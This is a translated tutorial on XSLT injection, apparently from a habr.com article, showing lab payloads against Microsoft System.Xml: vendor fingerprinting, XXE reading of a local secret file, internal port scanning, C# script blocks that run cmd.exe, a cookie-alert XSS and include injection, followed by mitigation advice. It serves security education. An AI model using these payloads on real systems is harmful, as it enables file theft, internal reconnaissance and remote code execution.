XSL (Extensible Stylesheet Language) is a language for converting XML documents. XSLT means XSL Transformations. XSL Transformations are the XML documents themselves. The result of the conversion may be another XML document or something else, such as an HTML document, a CSV file, or a text file. In this article I will discuss several attack vectors for XSLT.
Vulnerabilities in the language of styles (XSLT) can have serious consequences for web applications, often leading to remote code execution (RCE). Examples of XSLT vulnerabilities for remote code execution with publicly available exploits are CVE-2012-5357, CVE-2012-1592, CVE-2005-3757. The examples above show that XSLT vulnerabilities have been known for quite some time, and, although they are less common than other similar vulnerabilities, such as XML Injection, they carry quite serious security risks.
A common use of XSLT is the conversion of data between file formats processed by various applications, and also as a template engine. Many business applications make extensive use of XSLT. For example, we have an XML document with some elements, attributes, and values, but to work we need to move the elements, change the structure (for example, make an attribute an element) or perform additional calculations. You can use the XSLT processor and convert the old document to a new look.
This technology is often used for the following purposes:
The functionality of modern XSLT processors has a huge disadvantage: if they are not configured properly, XSLT processors can compromise a web application or allow arbitrary code to be executed.
Data transformation example: We have an XML file that contains a list of fruits and relative descriptions:
<?xml version="1.0" ?> <fruits> <fruit> <name>Lemon</name> <description>Yellow and sour</description> </fruit> <fruit> <name>Watermelon</name> <description>Round, green outside, red inside</description> </fruit> </fruits>
To convert an XML document to a text file, we can use the following XSL transformation:
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
As a result, we get a plain-text file:
Fruits: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
In the examples, we focus on a vulnerable application using Microsoft's System.Xml XSL; however, similar methods apply to other common libraries, such as Libxslt, Saxon, and Xalan.
The first step is to identify the vulnerable parameters of the application. The simplest case is an application that allows you to load an arbitrary XSLT file.
A preprocessor can generate an XML document dynamically using user input without proper validation (the field Your Company Name Here):
<?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
To determine if an application is vulnerable, just enter characters that are usually invalid for the syntax of an XML document, such as double quotes, single quotes, and angle brackets. If the server returns an error, the application is potentially vulnerable.
Different libraries have different XSLT functions, and a function that is available in one library may not be available in another. Proprietary extensions that are incompatible between libraries are often introduced. In addition, the default settings vary widely between implementations, usually with older libraries, which have dangerous features enabled by default, and newer libraries that require developers to explicitly include them when necessary.
The name of the library vendor can be obtained using the “system-property ()” function, which is part of the XSLT v1.0 standard.
The following transformation can be used to define a library "supplier":
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet>
We are testing the Microsoft .Net System.xml implementation, so the return value is “Microsoft”:
Microsoft
The table shows the system-property handling of XSLT preprocessors:
In the following example, we use an external object to read the contents of the file “C: \ secretfruit.txt”.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
The ENTITY element places the contents of the file into an “ext_file” link, which we then print inside the main document, using “ext_file;”. The output shows the secret contents of the file (Golden Apple):
Fruits Golden Apple: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
This method can be used to extract files stored locally on a web server, and web pages hosted on internal systems that would not normally be accessible to an attacker. These can be configuration files containing credentials or files containing other sensitive information. Files can also be extracted using UNC paths: \ servername \ share \ file and http: // servername / file .
Using the list of IP addresses and port numbers, you can also determine whether the remote port is open or closed, depending on the response of the application. For example, an application may display various error messages or contain time delays in the response.
The following XSLT transformation uses the URL http://172.16.132.1:25 instead of the local file path used in the previous example:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
The following screenshot shows the error returned when trying to connect to a URL.
The “document ()” function can also be used to retrieve documents and to perform port scans:
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
The built-in script blocks are proprietary XSLT extensions that allow code to be included directly in an XSLT document. In Microsoft implementations, for example, C # code may be included. When a document is analyzed, the code is compiled and executed by the remote server.
The following XSLT document lists information about files in the current working directory:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet>
First, we define two new XML prefixes inside the "xsl: stylesheet" tag. The first "xmlns: msxsl" is needed to enable proprietary Microsoft extensions, the second "xmlns: user" declares a user extension of the user, which is implemented by the script block "msxsl: script".
The C # code implements the execute () function, which executes the cmd.exe / c dir command and returns the output of the command as a string. Finally, the function is called inside the "xsl: value-of" tag.
The result of the conversion is the output of the “dir” command:
--- BEGIN COMMAND OUTPUT --- Volume in drive C has no label. Volume Serial Number is EC7C-74AD Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole Application\XsltConsoleApplication\bin\Debug 22/02/2017 15:19 <DIR> . 22/02/2017 15:19 <DIR> .. 22/02/2017 13:30 258 data.xml 22/02/2017 14:48 233 external_transform.xslt 22/02/2017 15:15 12 secretfruit.txt 31/01/2017 13:45 154 secretfruit.xml 22/02/2017 15:29 831 transform.xslt 22/02/2017 13:49 7,168 XsltConsoleApplication.exe 26/01/2017 15:42 189 XsltConsoleApplication.exe.config 22/02/2017 13:49 11,776 XsltConsoleApplication.pdb 8 File(s) 20,621 bytes 2 Dir(s) 9,983,107,072 bytes free --- END COMMAND OUTPUT ---
The following example shows the XSS vector exploitation in the template tag:
<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”> <xsl:template match=”/”> <script>alert(document.cookie)</script> </xsl:template> </xsl:stylesheet>
Application import and inclusion tags can be used to merge multiple XSLT documents.
Import functions can be used to merge an XSLT document with an external document. When an external file is loaded, the entire document is parsed, and if the attacker controls it, it can use both external external XML objects and embedded scripts in the external file.
The “xsl: import” tag can only be used as the first child of the “xsl: stylesheet” tag, while the “xsl: include” tag can be used in other positions.
<?xml version=”1.0” encoding=”utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
We want to include the following external XSLT file named “external_transform.xslt” with a message (Hello from the external transformation):
<?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Hello from the external transformation </xsl:template> </xsl:stylesheet>
To include an external document, we need to use the following tag:
<xsl: include href = "external_transform.xslt" />
There is one feature here: the “xsl: include” tag cannot be included in the “xsl: template” tag. Therefore, we first need to close the “xsl: template” tag, then we can add an “xsl: include” tag that satisfies the first requirement. To get a well-formed XML file, we need to re-open the “xsl: template” tag after the “xsl: include” tag.
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
After injection injection, the resulting XSLT document looks as follows:
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
If your application uses XSLT, you can reduce the risks by following these guidelines:
If possible, avoid user-submitted XSLT documents.
Do not generate XSLT documents with values ​​transmitted from unreliable sources (inputs). If a non-static value is required, it must be included in the XML data file and only referenced in an XSLT document.
Disable the potentially dangerous functionality implemented by the XSLT library used. Libraries often use unsafe defaults. Check the library documentation to disable: external XML objects; the “document ()” function; import and inclusion tags.
Use protective filtering of the transmitted content.
I also attach a table of potentially dangerous points of XSLT preprocessors used by default:
Source: https://habr.com/ru/post/339480/
All Articles